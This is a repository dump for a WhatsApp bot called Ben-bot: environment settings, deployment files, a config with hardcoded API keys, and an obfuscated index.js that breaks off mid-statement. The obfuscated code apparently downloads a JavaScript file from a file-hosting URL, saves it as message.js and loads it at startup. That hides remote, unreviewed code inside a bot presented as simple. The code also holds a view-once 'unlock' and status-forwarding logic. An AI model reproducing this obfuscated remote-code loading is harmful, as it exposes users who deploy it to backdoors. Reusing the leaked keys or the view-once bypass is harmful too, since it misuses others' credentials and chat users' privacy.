├── .env ├── Procfile ├── README.md ├── app.json ├── config.js ├── index.js ├── package.json ├── set.js └── talkdrove.json /.env: -------------------------------------------------------------------------------- 1 | SESSION_ID= 2 | PREFIX=. 3 | OWNER_NUMBER=93744215959,93730285765 4 | BOT_NAME=𝑩𝑬𝑵_𝑩𝑶𝑻 5 | OWNER_NAME=𝑵𝑶𝑻𝑯𝑰𝑵𝑮 6 | PACK_NAME=𝑩𝑬𝑵_𝑩𝑶𝑻 7 | AUTHOR=𝑵𝑶𝑻𝑯𝑰𝑵𝑮 8 | CHANNEL_NAME=𝑵𝑶𝑻𝑯𝑰𝑵𝑮 𝑻𝑬𝑪𝑯 9 | CHANNEL_JID=120363333589976873@newsletter 10 | AUTO_DL=false 11 | AUTO_BLOCK=false 12 | AUTO_TYPING=false 13 | AUTO_UPDATE=false 14 | AUTO_RECORD=false 15 | AUTO_VIEW_STATUS=false 16 | AUTOSTATUS_DL=true 17 | AUTOSTATUS_REACT=false 18 | AUTO_LIKE_STATUS=💚 19 | AUTO_MSG_STATUS=➺ʏᴏᴜʀ ꜱᴛᴀᴛᴜꜱ ᴊᴜꜱᴛ ɴᴏᴡ ꜱᴇᴇɴ ʙʏ ʙᴇɴ-ʙᴏᴛ 20 | AUTOSTATUS_REPLY=false 21 | AUTO_BIO=false 22 | AUTO_READ_MESSAGES=false 23 | AUTO_REACT=false 24 | AUTO_REPLYGC=false 25 | AUTO_REPLYPR=false 26 | AUTO_REPLY=false 27 | LEVELUP=false 28 | SUDO_USERS=93744215959,93730285765 29 | BOT_MODE=public 30 | UNAVAILABLE=false 31 | AVAILABLE=false 32 | CHATBOT=false 33 | VERISION=V2 34 | ALL_CMD=1000 35 | WELCOME=false 36 | ANTIDELETE=false 37 | ANTIVIEWONCE=false 38 | ANTIBAD=false 39 | ANTIBAD_REMOVE=false 40 | ANTIBAD_WARN=false 41 | ANTIBOT=false 42 | ANTIBOT_REMOVE=false 43 | ANTIBOT_WARN=false 44 | ANTICALL=false 45 | ANTILINK=false 46 | ANTILINK_REMOVE=false 47 | ANTILINK_WARN=false 48 | ANTI_FORWARD=false 49 | ANTI_FORWARDPRIVATE=false 50 | ANTI_FORWARDGC=false 51 | ANTI_FORWARDGC_PRIVATE=false 52 | ANTI_FORWARDALL=false 53 | LOGO_URL=https://files.catbox.moe/y9ysty.jpg 54 | BEN_REPO=https://github.com/NOTHING-MD420/Ben-bot 55 | BEN_REPODL=https://github.com/NOTHING-MD420/Ben-bot/archive/refs/heads/main.zip 56 | BEN_CHANNEL=https://whatsapp.com/channel/0029Vasu3qP9RZAUkVkvSv32 57 | MESSAGE_SUCCESS=𝙳𝚘𝚗𝚎 58 | MESSAGE_ADMIN=_*❗This Command Can Only Be Used By Group Admins !*_ 59 | MESSAGE_BOT_ADMIN=_*❗This Command Can Only Be Used When Bot Becomes Group Admin !*_ 60 | MESSAGE_OWNER=_*❗This Command Can Only Be Used By My Owner !*_ 61 | MESSAGE_GROUP=_*❗This Command Can Only Be Used In Group Chat !*_ 62 | MESSAGE_PRIVATE=_*❗This Command Can Only Be Used In Private Chat !*_ 63 | MESSAGE_WAIT=*`⏰ 𝙷𝚘𝚕𝚍 𝙾𝚗 𝙿𝚛𝚘𝚌𝚎𝚜𝚜𝚒𝚗𝚐...`* 64 | MESSAGE_NOT_REGIST=_*❗You are not registered in the Bot Database. Please register first!*_ 65 | MESSAGE_PREMIUM=_*❗Premium only" Want Premium? Chat Owner*_ 66 | MESSAGE_END_LIMIT=_*❗Your Daily Limit Has Been Used Up, The Limit Will Be Reset Every 00:00 AM*_ 67 | CAPTION_VIDEO=> © 𝑷𝑶𝑾𝑬𝑹𝑬𝑫 𝑩𝒀 𝑵𝑶𝑻𝑯𝑰𝑵𝑮 -------------------------------------------------------------------------------- /Procfile: -------------------------------------------------------------------------------- 1 | web: node set.js -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Typing SVG 2 | 3 | 4 | 5 |

WELCOME 𝙏𝙊 NOTHING Ben-bot 𝙁𝙊𝙍 WHATSAPP

6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 |
14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 |

𝗕𝗘𝗡-𝗕𝗢𝗧

29 | 30 | 31 | `© NEW REPOSITORY BEN-BOT💛` 32 | 33 | -------------------------- 34 | - **ALL MENU UPDATED 🚀** 35 | - **AI,SEARCH MENU 🚀** 36 | - **ANTILINK 🚀** 37 | - **ANTILINKWARN 🚀** 38 | - **ANTIBOT 🚀** 39 | - © ***POWERD BY NOTHING*** 40 | 41 | --------- 42 | 43 |
44 | 45 | 46 |
47 | 48 |
49 | 50 | 51 |
52 | 53 | 54 | 55 | ### SESSION ID GENERATOR 56 | 57 | 58 | > 1. PAIR CODE SESSION ID 59 | 60 |

61 | 62 | Pairing Code 63 | 64 |

65 | 66 | > 2. PAIR CODE SESSION ID 67 | 68 |

69 | 70 | Pairing Code 71 | 72 |

73 | 74 | 75 | ### DEPOLYMENT OPTION 76 | 77 | > Deploy on Heroku 78 | 79 | 80 | 81 |

82 | Deploy on Heroku 83 |

84 | 85 | > Deploy on TalkDrove 86 | 87 | 88 | 89 |

90 | Deploy on TaikDrove 91 |

92 | 93 | > Deploy on Koyeb 94 | 95 | 96 | 97 |

98 | Deploy on Koyeb 99 |

100 | 101 | ###
❖ CREATE ACCOUNT HOST.TALKDROVE WEB ❖ 102 | 103 |

104 | 105 |

106 | 107 | 108 | 109 | 110 | ### 🟢 𝙎𝙐𝙋𝙋𝙊𝙍𝙏 𝙂𝙍𝙊𝙐𝙋 𝙇𝙄𝙉𝙆 🟢 111 | 112 |

113 | 114 | 115 | 116 | 117 | 118 | 119 |

120 | 121 | 122 | 123 |

124 | 125 |
126 | 127 | 128 |
129 | 130 | 131 | #### ```NOTHING PROFILE VIEWS 🧚``` 132 | ![Visitor Count](https://profile-counter.glitch.me/NOTHING-MD420/count.svg) 133 | 134 | ### 💠 [`𝐀𝐕𝐀𝐈𝐋𝐀𝐁𝐋𝐄 𝐋𝐀𝐍𝐆𝐔𝐆𝐄𝐒 𝐅𝐎𝐑 BEN-𝐁𝐎𝐓`] 135 | - 🪄 Pashto = ps 136 | - 🪄 Persian = fa 137 | - 🪄 English Global = en 138 | - 🪄 Arabic = ar 139 | - 🪄 Urdu = ur 140 | - 🪄 Bahasa Indonesia = id 141 | - 🪄 Portuguese = pt 142 | - 🪄 Spanish = es 143 | 144 |
145 | 146 | 147 |
148 | -------------------------------------------------------------------------------- /app.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "nothing-ben", 3 | "description": "Ben bot Is a Simple WA Bot Using Library Baileys", 4 | "logo": "https://files.catbox.moe/4i7dp7.jpg", 5 | "keywords": ["bot", "WhatsApp", "JavaScript"], 6 | "success_url": "/", 7 | "stack": "heroku-24", 8 | "env": { 9 | "SESSION_ID": { 10 | "description": "Put your SESSION_ID here.", 11 | "value": "" 12 | }, 13 | "PREFIX": { 14 | "description": "Enter your desired prefix for bot. You can set `all | . | .!*`", 15 | "value": "." 16 | }, 17 | "OWNER_NUMBER": { 18 | "description": "The phone numbers of the users who you want to be admin for the bot (should be in international format without + and multiple numbers must be separated by a comma like 93730285765,93744215959.... \",\").", 19 | "value": "93744215959" 20 | }, 21 | "BOT_MODE": { 22 | "description": "Bot mode can be: public, private, inbox, or group (all lowercase). public: everyone can use the bot. private: only owner and bot itself. inbox: only in private chat by owner/bot. group: only in groups by users, but bot/owner can use it anywhere.", 23 | "value": "public" 24 | }, 25 | "WELCOME": { 26 | "description": "true for auto welcome future in group false for off", 27 | "value": "false" 28 | }, 29 | "ANTIBOT": { 30 | "description": "Set true to Automatically deletes bot commands sent by users and warns them To Enable put true and to disable put false (e.g, true)", 31 | "value": "false", 32 | "required": false 33 | }, 34 | "ANTILINK": { 35 | "description": "Set true to Deletes messages containing links and warns the user To Enable put true and to disable put false (e.g, true)", 36 | "value": "false", 37 | "required": false 38 | } 39 | }, 40 | "buildpacks": [ 41 | { 42 | "url": "https://github.com/heroku/heroku-buildpack-nodejs.git" 43 | } 44 | ] 45 | } -------------------------------------------------------------------------------- /config.js: -------------------------------------------------------------------------------- 1 | require("dotenv").config(); 2 | const fs = require("fs"); 3 | const path = require("path"); 4 | 5 | //ALL GLOBAL 6 | global.ownername = process.env.OWNER_NAME || "NOTHING"; 7 | global.owner = process.env.OWNER_NUMBER ? process.env.OWNER_NUMBER.split(",") : [] || "93744215959"; 8 | global.packname = process.env.BOT_NAME || "BEN-BOT-V2"; 9 | global.author = process.env.OWNER_NAME || "NOTHING"; 10 | global.channelChatId = process.env.CHANNEL_JID || "120363333589976873@newsletter"; 11 | global.logo = process.env.LOGO_URL || "https://files.catbox.moe/y9ysty.jpg"; 12 | global.bench = process.env.BEN_CHANNEL || "https://whatsapp.com/channel/0029Vasu3qP9RZAUkVkvSv32"; 13 | global.benrepo = process.env.BEN_REPO || "https://github.com/NOTHING-MD420/Ben-bot"; 14 | global.benrepodl = process.env.BEN_REPODL || "https://github.com/NOTHING-MD420/Ben-bot/archive/refs/heads/main.zip"; 15 | 16 | //AUTO FUNCTIONER DONT CHANGE IT 17 | global.antidelete = process.env.ANTIDELETE === "true"; 18 | global.ANTICALL = process.env.ANTICALL === "true"; 19 | global.ANTIVIEWONCE = process.env.ANTIVIEWONCE === "true"; 20 | global.antilink = process.env.ANTILINK === "true"; 21 | global.antilinkremove = process.env.ANTILINK_REMOVE === "true"; 22 | global.antilinkwarn = process.env.ANTILINK_WARN === "true"; 23 | global.antibad = process.env.ANTIBAD === "true"; 24 | global.antibadwarn = process.env.ANTIBAD_WARN === "true"; 25 | global.antibadremove = process.env.ANTIBAD_REMOVE === "true"; 26 | global.autodl = process.env.AUTO_DL === "true"; 27 | global.antibot = process.env.ANTIBOT === "true"; 28 | global.antibotwarn = process.env.ANTIBOT_WARN === "true"; 29 | global.antibotremove = process.env.ANTIBOT_REMOVE === "true"; 30 | global.antiforward = process.env.ANTI_FORWARD === "true"; 31 | global.antiforward_private = process.env.ANTI_FORWARDPRIVATE === "true"; 32 | global.antiforward_gc = process.env.ANTI_FORWARDGC === "true"; 33 | global.antiforward_gc_private = process.env.ANTI_FORWARDGC_PRIVATE === "true"; 34 | global.antiforward_all = process.env.ANTI_FORWARDALL === "true"; 35 | global.autoreadmessages = process.env.AUTO_READ_MESSAGES === "true"; 36 | global.autoRecord = process.env.AUTO_RECORD === "true"; 37 | global.available = process.env.AVAILABLE === "true"; 38 | global.unavailable = process.env.UNAVAILABLE === "true"; 39 | global.autoTyping = process.env.AUTO_TYPING === "true"; 40 | global.autoreact = process.env.AUTO_REACT === "true"; 41 | global.autoupdate = process.env.AUTO_UPDATE === "true"; 42 | global.autoViewStatus = process.env.AUTO_VIEW_STATUS === "true"; 43 | global.autoblock = process.env.AUTO_BLOCK === "true"; 44 | global.autobio = process.env.AUTO_BIO === "true"; 45 | global.autoreply = process.env.AUTO_REPLY === "true"; 46 | global.autoreplypr = process.env.AUTO_REPLYPR === "true"; 47 | global.autoreplygc = process.env.AUTO_REPLYGC === "true"; 48 | global.chatbot = process.env.CHATBOT === "true"; 49 | global.prefix = process.env.PREFIX || "."; 50 | global.welcome = process.env.WELCOME === "true"; 51 | global.mode = process.env.BOT_MODE || "public"; 52 | global.sudo_user = process.env.SUDO_USERS ? process.env.SUDO_USERS.split(",") : ["+93744215959", "93730285765"]; 53 | global.command = process.env.ALL_CMD || "1000+"; 54 | global.version = process.env.VERSION || "V2"; 55 | global.autostatus_react = process.env.AUTOSTATUS_REACT === "true"; 56 | global.autostatusemoji = process.env.AUTO_LIKE_STATUS || "💚"; 57 | global.autostatusreply = process.env.AUTOSTATUS_REPLY === "true"; 58 | global.autostatusmsg = process.env.AUTO_MSG_STATUS || "➺ʏᴏᴜʀ ꜱᴛᴀᴛᴜꜱ ᴊᴜꜱᴛ ɴᴏᴡ ꜱᴇᴇɴ ʙʏ ʙᴇɴ-ʙᴏᴛ"; 59 | global.autosavestatus = false; 60 | global.autoLikeReply = false; 61 | global.LEVELUP = false; 62 | 63 | 64 | //AUTO MESSAGE RESPONSE 65 | global.mess = { 66 | success: process.env.MESSAGE_SUCCESS || '𝙳𝚘𝚗𝚎', 67 | wait: process.env.MESSAGE_WAIT || '*`⏰ 𝙷𝚘𝚕𝚍 𝙾𝚗 𝙿𝚛𝚘𝚌𝚎𝚜𝚜𝚒𝚗𝚐...`*', 68 | admin: process.env.MESSAGE_ADMIN || '_*❗This Command Can Only Be Used By Group Admins !*_', 69 | botAdmin: process.env.MESSAGE_BOT_ADMIN || '_*❗This Command Can Only Be Used When Bot Becomes Group Admin !*_', 70 | OnlyOwner: process.env.MESSAGE_OWNER || '_*❗This Command Can Only Be Used By My Owner !*_', 71 | OnlyGrup: process.env.MESSAGE_GROUP || '_*❗This Command Can Only Be Used In Group Chat !*_', 72 | private: process.env.MESSAGE_PRIVATE || '_*❗This Command Can Only Be Used In Private Chat !*_', 73 | notregist: process.env.MESSAGE_NOT_REGIST || '_*You are not registered in the Bot Database. Please register first*_', 74 | premium: process.env.MESSAGE_PREMIUM || '_*Premium only" Want Premium? Chat Owner*_', 75 | endLimit: process.env.MESSAGE_END_LIMIT || '_*Your Daily Limit Has Been Used Up, The Limit Will Be Reset Every 00:00 AM_*.', 76 | capvid: process.env.CAPTION_VIDEO || '> © 𝑷𝑶𝑾𝑬𝑹𝑬𝑫 𝑩𝒀 𝑵𝑶𝑻𝑯𝑰𝑵𝑮', 77 | }; 78 | 79 | //DONT CHANGE IT API KEY 80 | global.api = { 81 | screenshotapi: 'd539a7b1cd55ebccba702c2a0f96eff9', 82 | fgmods: 'm2XBbNvz', 83 | screenshotapiv2: '054b4800d6664f8fb79e63e419b3c834', 84 | removebg: '829301093', 85 | }; 86 | 87 | 88 | //DON'T DELETE IT 89 | global.apilinode = '' // apikey vps account linode 90 | global.apitokendo = '' 91 | global.urldb = ''; 92 | global.limitawal = { 93 | premium: "Infinity", 94 | monayawal: 0, 95 | free: 100 96 | } 97 | //RPG LIMIT 98 | global.buruan = { 99 | ikan: 5, 100 | ayam: 5, 101 | kelinci: 5, 102 | domba: 5, 103 | sapi: 5, 104 | gajah: 5 105 | } 106 | global.rpg = { 107 | darahawal: 100, 108 | energyawal: 252, 109 | besiawal: 5, 110 | goldawal: 1, 111 | emeraldawal: 1, 112 | umpanawal: 1, 113 | potionawal: 1 114 | } 115 | 116 | //—————「 RUNNING 」—————// 117 | let file = require.resolve(__filename); 118 | fs.watchFile(file, () => { 119 | fs.unwatchFile(file); 120 | console.log(`Update'${__filename}'`); 121 | delete require.cache[file]; 122 | require(file); 123 | }); -------------------------------------------------------------------------------- /index.js: -------------------------------------------------------------------------------- 1 | const a0_0x51992b=a0_0x37a6;(function(_0x5e3ae6,_0x5514ab){const _0x4ace75=a0_0x37a6,_0x2a8a09=_0x5e3ae6();while(!![]){try{const _0x1d960e=-parseInt(_0x4ace75(0x12e))/0x1*(parseInt(_0x4ace75(0x16b))/0x2)+parseInt(_0x4ace75(0x13b))/0x3*(-parseInt(_0x4ace75(0x149))/0x4)+-parseInt(_0x4ace75(0xf0))/0x5+-parseInt(_0x4ace75(0x109))/0x6*(parseInt(_0x4ace75(0x1b3))/0x7)+parseInt(_0x4ace75(0x147))/0x8*(parseInt(_0x4ace75(0x1aa))/0x9)+-parseInt(_0x4ace75(0x1b6))/0xa+-parseInt(_0x4ace75(0x177))/0xb*(-parseInt(_0x4ace75(0x16e))/0xc);if(_0x1d960e===_0x5514ab)break;else _0x2a8a09['push'](_0x2a8a09['shift']());}catch(_0x536cae){_0x2a8a09['push'](_0x2a8a09['shift']());}}}(a0_0x42fc,0x2d5b0),require(a0_0x51992b(0x1c0)));const {default:makeWASocket,useMultiFileAuthState,DisconnectReason,fetchLatestBaileysVersion,makeInMemoryStore,jidDecode,proto,getContentType,downloadContentFromMessage,fetchLatestWaWebVersion}=require('@adiwajshing/baileys'),fs=require('fs'),pino=require(a0_0x51992b(0x1b5)),lolcatjs=require(a0_0x51992b(0x1ad)),path=require(a0_0x51992b(0xff)),unzipper=require('unzipper'),https=require(a0_0x51992b(0x114)),axios=require(a0_0x51992b(0x13f)),dotenv=require('dotenv');dotenv[a0_0x51992b(0x139)]();const NodeCache=require(a0_0x51992b(0x12c)),msgRetryCounterCache=new NodeCache(),fetch=require(a0_0x51992b(0x12d)),FileType=require(a0_0x51992b(0x18c)),AdmZip=require(a0_0x51992b(0x1a0)),express=require('express'),app=express(),port=process[a0_0x51992b(0x17b)][a0_0x51992b(0x1be)]||0x2382,_=require('lodash'),{Boom}=require(a0_0x51992b(0x10f)),PhoneNumber=require(a0_0x51992b(0x14a)),readline=require(a0_0x51992b(0x19d)),{smsg,color,getBuffer}=require(a0_0x51992b(0x122)),{imageToWebp,videoToWebp,writeExifImg,writeExifVid}=require(a0_0x51992b(0xef)),{toAudio,toPTT,toVideo}=require('./nothing-ben/converter'),yargs=require(a0_0x51992b(0xea)),store=makeInMemoryStore({'logger':pino()[a0_0x51992b(0x193)]({'level':a0_0x51992b(0x17a),'stream':a0_0x51992b(0x15b)})});global[a0_0x51992b(0x1b8)]=new Object(yargs(process[a0_0x51992b(0xf1)]['slice'](0x2))[a0_0x51992b(0xfd)](![])[a0_0x51992b(0x182)]());const low=require('./nothing-ben/lowdb'),{Low,JSONFile}=low,mongoDB=require(a0_0x51992b(0x162));let db;urldb!==''?(db=new mongoDB(urldb),lolcatjs[a0_0x51992b(0x126)]('[\x20Successfully\x20Comnected\x20to\x20database\x20MongoDB\x20]')):(db=new JSONFile(a0_0x51992b(0x198)),lolcatjs['fromString'](a0_0x51992b(0x116)));global['db']=new Low(db),global['DATABASE']=global['db'],global[a0_0x51992b(0x18e)]=async function loadDatabase(){const _0x5be526=a0_0x51992b;if(global['db'][_0x5be526(0x146)])return new Promise(_0x5c2423=>setInterval(function(){const _0xad9fb8=_0x5be526;!global['db'][_0xad9fb8(0x146)]?(clearInterval(this),_0x5c2423(global['db'][_0xad9fb8(0x138)]==null?global[_0xad9fb8(0x18e)]():global['db'][_0xad9fb8(0x138)])):null;},0x3e8));if(global['db']['data']!==null)return;global['db'][_0x5be526(0x146)]=!![],await global['db'][_0x5be526(0x1b1)](),global['db']['READ']=![],global['db'][_0x5be526(0x138)]={'users':{},'chats':{},'database':{},'game':{},'settings':{},'others':{},'sticker':{},...global['db']['data']||{}},global['db'][_0x5be526(0x1ba)]=_[_0x5be526(0x1ba)](global['db'][_0x5be526(0x138)]);},global[a0_0x51992b(0x18e)](),process['on'](a0_0x51992b(0x1bc),console[a0_0x51992b(0x16c)]);global['db']&&urldb!==''&&setInterval(async()=>{const _0x2dcbaf=a0_0x51992b;global['db'][_0x2dcbaf(0x138)]&&await global['db']['write']();},0x7530);function createTmpFolder(){const _0xe66e=a0_0x51992b,_0x2ee34e=path[_0xe66e(0x186)](__dirname,_0xe66e(0x18d));!fs[_0xe66e(0x111)](_0x2ee34e)?(fs[_0xe66e(0x104)](_0x2ee34e),lolcatjs[_0xe66e(0x126)]('Folder\x20\x27tmp\x27\x20successfully\x20created..')):lolcatjs[_0xe66e(0x126)](_0xe66e(0xf5));}createTmpFolder();const question=_0x4ea712=>{const _0x42c733=a0_0x51992b,_0x187587=readline[_0x42c733(0x12f)]({'input':process[_0x42c733(0x101)],'output':process['stdout']});return new Promise(_0x414ae7=>{const _0x262b8a=_0x42c733;_0x187587[_0x262b8a(0x1af)](_0x4ea712,_0x414ae7);});};async function updateCredsFile(){const _0x9ccb74=a0_0x51992b,_0x4f63ab=_0x9ccb74(0x144),_0x4f5d58=path[_0x9ccb74(0x186)](_0x4f63ab,'creds.json'),_0x54920c=process[_0x9ccb74(0x17b)]['SESSION_ID'];if(!_0x54920c)return console[_0x9ccb74(0x16c)](_0x9ccb74(0xf8)),![];try{return!fs['existsSync'](_0x4f63ab)&&fs[_0x9ccb74(0x104)](_0x4f63ab,{'recursive':!![]}),!fs[_0x9ccb74(0x111)](_0x4f5d58)&&fs[_0x9ccb74(0x195)](_0x4f5d58,''),fs[_0x9ccb74(0x195)](_0x4f5d58,_0x54920c),console[_0x9ccb74(0x11d)](_0x9ccb74(0x1b9)),!![];}catch(_0x1f998f){return console['error'](_0x9ccb74(0x190),_0x1f998f),![];}}updateCredsFile();async function downloadFile(_0x36cf40,_0x4d5518){const _0x481799=a0_0x51992b;if(fs[_0x481799(0x111)](_0x4d5518)){console[_0x481799(0x11d)](_0x481799(0x189));return;}try{const _0x18aeb1=fs[_0x481799(0x135)](_0x4d5518),_0x324092=await axios({'method':'GET','url':_0x36cf40,'responseType':_0x481799(0x15c)});return _0x324092['data'][_0x481799(0x155)](_0x18aeb1),new Promise((_0x373444,_0x12d7b4)=>{const _0x3322f4=_0x481799;_0x18aeb1['on'](_0x3322f4(0x123),()=>{const _0xa1d2d4=_0x3322f4;console['log'](_0xa1d2d4(0xfb),_0x4d5518),_0x373444();}),_0x18aeb1['on'](_0x3322f4(0x16c),_0x4e902d=>{const _0x58f65a=_0x3322f4;console[_0x58f65a(0x16c)](_0x58f65a(0x107),_0x4e902d),_0x12d7b4(_0x4e902d);});});}catch(_0x4d68e9){console['error'](_0x481799(0x1a6),_0x4d68e9);}}function createLibAndFiles(){const _0x45856c=a0_0x51992b,_0x2bedba=path[_0x45856c(0x186)](__dirname,'lib');!fs[_0x45856c(0x111)](_0x2bedba)&&fs[_0x45856c(0x104)](_0x2bedba,{'recursive':!![]});const _0x1de28e={'tempmailid.json':[]};Object[_0x45856c(0x169)](_0x1de28e)[_0x45856c(0x176)](_0x4d1caf=>{const _0x4e641c=_0x45856c,_0x1804d2=path[_0x4e641c(0x186)](_0x2bedba,_0x4d1caf);if(!fs[_0x4e641c(0x111)](_0x1804d2))fs[_0x4e641c(0x195)](_0x1804d2,JSON['stringify'](_0x1de28e[_0x4d1caf],null,0x2),'utf8');else{}});}createLibAndFiles();function a0_0x37a6(_0x152b8f,_0x3f7f61){const _0x42fcc6=a0_0x42fc();return a0_0x37a6=function(_0x37a692,_0x4afa08){_0x37a692=_0x37a692-0xe9;let _0x340f45=_0x42fcc6[_0x37a692];return _0x340f45;},a0_0x37a6(_0x152b8f,_0x3f7f61);}function a0_0x42fc(){const _0x3f7596=['Whatsapp\x20bot\x20successfully\x20connected\x20✅','log','output','✅\x20The\x20files\x20are\x20extracted.','logout','server','./nothing-ben/myfunc','finish','✅\x20Downloaded\x20the\x20ZIP\x20file.','participant','fromString','from','videoMessage','public','ephemeralMessage','caption','node-cache','node-fetch','173854UCOHwh','createInterface','fromBuffer','promises','toString','user','author','createWriteStream','Unknown','Connection\x20Lost\x20from\x20Server,\x20reconnecting...','data','config','message.js','26106EAcNLx','❌\x20فایل\x20owner.json\x20خوانده\x20نشد:','packname','private','axios','Pairing\x20code:\x20','connectionLost','audio/ogg;\x20codecs=opus','messages','./session','sendPoll','READ','8jPMyVY','getName','92OYdSnv','awesome-phonenumber','mime','./tmp/','registered','✅\x20Session\x20backed\x20up\x20successfully.','Result\x20is\x20not\x20a\x20buffer','👤\x20*By:*\x20','writeFile','\x0aitem1.X-ABLabel:Mobile\x0aEND:VCARD','autostatusmsg','authState','pipe','length','❌\x20دریافت\x20رسانه\x20ناموفق\x20بود.','mtype','contacts.update','asSticker','store','stream','close','status','downloadMediaMessage','Unknown\x20DisconnectReason:\x20','BAE5','./nothing-ben/mongoDB','audioMessage','creds.update','♻️\x20The\x20session\x20file\x20was\x20corrupted,\x20restored\x20from\x20backup.','connection','\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20WhatsApp\x20Bot\x20Status\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20

WhatsApp\x20Bot\x20Status

\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20

WhatsApp\x20Bot\x20is\x20running!\x20✅

\x0a\x20\x20\x20\x20\x20\x20\x20\x20
\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x0a\x20\x20','viewOnceMessageV2','keys','@g.us','2emBPjl','error','🔓\x20ViewOnce\x20Unlocked','770700IRBcKn','owner','remoteJid','bind','Ubuntu','replace','BEGIN:VCARD\x0aVERSION:3.0\x0aN:','restartRequired','forEach','209nRbVkR','ext','endsWith','silent','env','name','listen','session','cache','Device\x20Logged\x20Out,\x20Please\x20Connect\x20Again\x20And\x20Run.','fatal','parse','alloc','autosavestatus','open','join','sendVideoAsSticker','viewOnceMessage','✅\x20File\x20message.js\x20Already\x20Available.','messages.upsert','https://files.catbox.moe/r0d6d6.js','file-type','tmp','loadDatabase','audio','❌\x20Error\x20in\x20saving\x20SESSION_ID:','subject','utf-8','child','trim','writeFileSync','video','concat','./nothing-ben/databasee.json','loggedOut','verifiedName','Error\x20Connection.update\x20','getFile','readline','Restart\x20Required,\x20Restarting...','./lib/owner.json','adm-zip','withoutContact','end','temp.zip','asDocument','\x0a\x0aYou\x20dont\x20have\x20session\x20id\x20try\x20pairing\x0a\x0aPlease\x20Type\x20Your\x20WhatsApp\x20Number\x20Example\x2093******\x20:\x0a','❌\x20Failed\x20for\x20download\x20file','❌\x20Error\x20in\x20sending\x20status\x20to\x20the\x20specified\x20number:','status@broadcast','resolve','2558880vXYHiy','copyFileSync','Chrome','lolcatjs','split','question','autoViewStatus','read','unlink','28BrMwhZ','groupMetadata','pino','3240090spYpOx','push','opts','✅\x20SESSION_ID\x20Successfully\x20saved!','chain','autostatusreply','uncaughtException','sendMessage','PORT','type','./config','downloadAndSaveMediaMessage','Bad\x20Session\x20File,\x20Please\x20Delete\x20Session\x20and\x20Verifikasi\x20Again','contacts','image','connectionClosed','msg','quoted','sendImageAsSticker','readFileSync','test','international','receivedPendingNotifications','message','yargs/yargs','@s.whatsapp.net','creds','includes','timedOut','./nothing-ben/exif','1488430pfiEiJ','argv','key',')\x20from\x20','application/octet-stream','Folder\x20\x27tmp\x27\x20already\x20available.','Connection\x20TimedOut,\x20Reconnecting...','document','Cant\x20find\x20SESSION_ID\x20in\x20.env.\x20First,\x20get\x20it,\x20save\x20it\x20in\x20.env,\x20and\x20try\x20deploying\x20again!','json','isBuffer','✅\x20File\x20Successfully\x20Downloaded','sendFile','exitProcess','🗑️\x20Deleted\x20the\x20ZIP\x20file.','path','base64','stdin','✅\x20status\x20new\x20(','Update\x20','mkdirSync','startsWith','./message','❌\x20Error\x20in\x20download\x20file:','0@s.whatsapp.net','484686aAkTVY','creds_backup.json','readMessages','connection.update','mode','\x0a╭─────────────━┈⊷\x20\x0a│🌏\x20*ʙᴏᴛ\x20ɪs\x20ᴄᴏɴɴᴇᴄᴛᴇᴅ*\x0a╰─────────────━┈⊷\x0a│💫\x20ᴘʀᴇғɪx:\x20*[\x20.\x20]*\x0a│⭕\x20ᴍᴏᴅᴇ:\x20*ᴘᴜʙʟɪᴄ*\x0a│📍\x20ᴠᴇʀꜱɪᴏɴ:\x20*2.0.0*\x0a│🤖\x20ʙᴏᴛ\x20ɴᴀᴍᴇ:\x20*ʙᴇɴ\x20ʙᴏᴛ*\x0a│👨‍💻\x20ᴏᴡɴᴇʀ\x20:\x20*ɴᴏᴛʜɪɴɢ*\x0a╰─────────────━┈⊷\x0a*Join\x20Whatsapp\x20Channel\x20For\x20Updates*\x0a>\x20https://whatsapp.com/channel/0029Vasu3qP9RZAUkVkvSv32\x0a','@hapi/boom','120363411517229272@g.us','existsSync','map','notify','https','filename','[\x20Connected\x20To\x20Local\x20Database\x20]','ANTIVIEWONCE','imageMessage','decodeJid','\x0aitem1.TEL;waid=','mimetype'];a0_0x42fc=function(){return _0x3f7596;};return a0_0x42fc();}async function downloadAndExtractZip(_0x4f9c7c){const _0x224785=a0_0x51992b,_0x51c8ae=path['join'](__dirname,_0x224785(0x1a3));try{const _0xa96ab6=await axios({'method':'GET','url':_0x4f9c7c,'responseType':_0x224785(0x15c)}),_0x3bd9df=fs[_0x224785(0x135)](_0x51c8ae);_0xa96ab6[_0x224785(0x138)][_0x224785(0x155)](_0x3bd9df),await new Promise((_0x1e5ac4,_0x4255ef)=>{const _0x343679=_0x224785;_0x3bd9df['on']('finish',_0x1e5ac4),_0x3bd9df['on'](_0x343679(0x16c),_0x4255ef);}),console[_0x224785(0x11d)](_0x224785(0x124));const _0x429bb8=new AdmZip(_0x51c8ae);_0x429bb8['extractAllTo'](__dirname,!![]),console[_0x224785(0x11d)](_0x224785(0x11f)),fs['unlinkSync'](_0x51c8ae),console['log'](_0x224785(0xfe));}catch(_0x209754){console[_0x224785(0x16c)]('❌\x20Error\x20while\x20downloading\x20or\x20extracting:',_0x209754);}}async function isTargetGroupOrChannel(_0x160401){const _0x4ea5d2=a0_0x51992b,_0x4f50d8=[_0x4ea5d2(0x110),'120363333589976873@newsletter'];return _0x4f50d8[_0x4ea5d2(0xed)](_0x160401);}async function handleStatusView(_0x3f0be0,_0xa863d2){const _0x11d7ac=a0_0x51992b,_0x3b78f2=_0x3f0be0['user']['id'][_0x11d7ac(0x1ae)](':')[0x0]+_0x11d7ac(0xeb);if(_0xa863d2[_0x11d7ac(0xf2)]&&_0xa863d2[_0x11d7ac(0xf2)][_0x11d7ac(0x170)]===_0x11d7ac(0x1a8)&&global['autoViewStatus']){await 